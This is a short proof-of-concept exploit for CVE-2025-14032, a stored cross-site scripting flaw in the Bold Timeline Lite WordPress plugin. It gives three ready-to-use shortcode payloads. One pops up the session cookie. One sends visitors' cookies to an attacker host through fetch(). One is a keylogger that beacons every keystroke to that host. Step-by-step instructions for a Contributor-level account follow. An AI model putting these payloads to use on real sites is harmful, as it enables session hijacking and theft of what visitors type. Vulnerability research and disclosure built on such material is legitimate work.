CVE-2025-14032

// CVE-2025-14032 PoC - Bold Timeline Lite Stored XSS // Author: Contributor+ level WordPress user // Target: WordPress site with Bold Timeline Lite plugin <= 1.2.7 // Method 1: Via WordPress Shortcode (in post/page content) [bold_timeline_group title='<script>alert(document.cookie)</script>'] // Method 2: More sophisticated payload for session hijacking [bold_timeline_group title='<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">'] // Method 3: DOM-based keylogger [bold_timeline_group title='<script>document.addEventListener('keypress',function(e){new Image().src='https://attacker.com/log?k='+e.key})</script>'] // Exploitation steps: // 1. Login to WordPress as Contributor or higher // 2. Create/Edit a post or page // 3. Insert the malicious shortcode // 4. Publish or preview the content // 5. Any user visiting the page will execute the injected JavaScript

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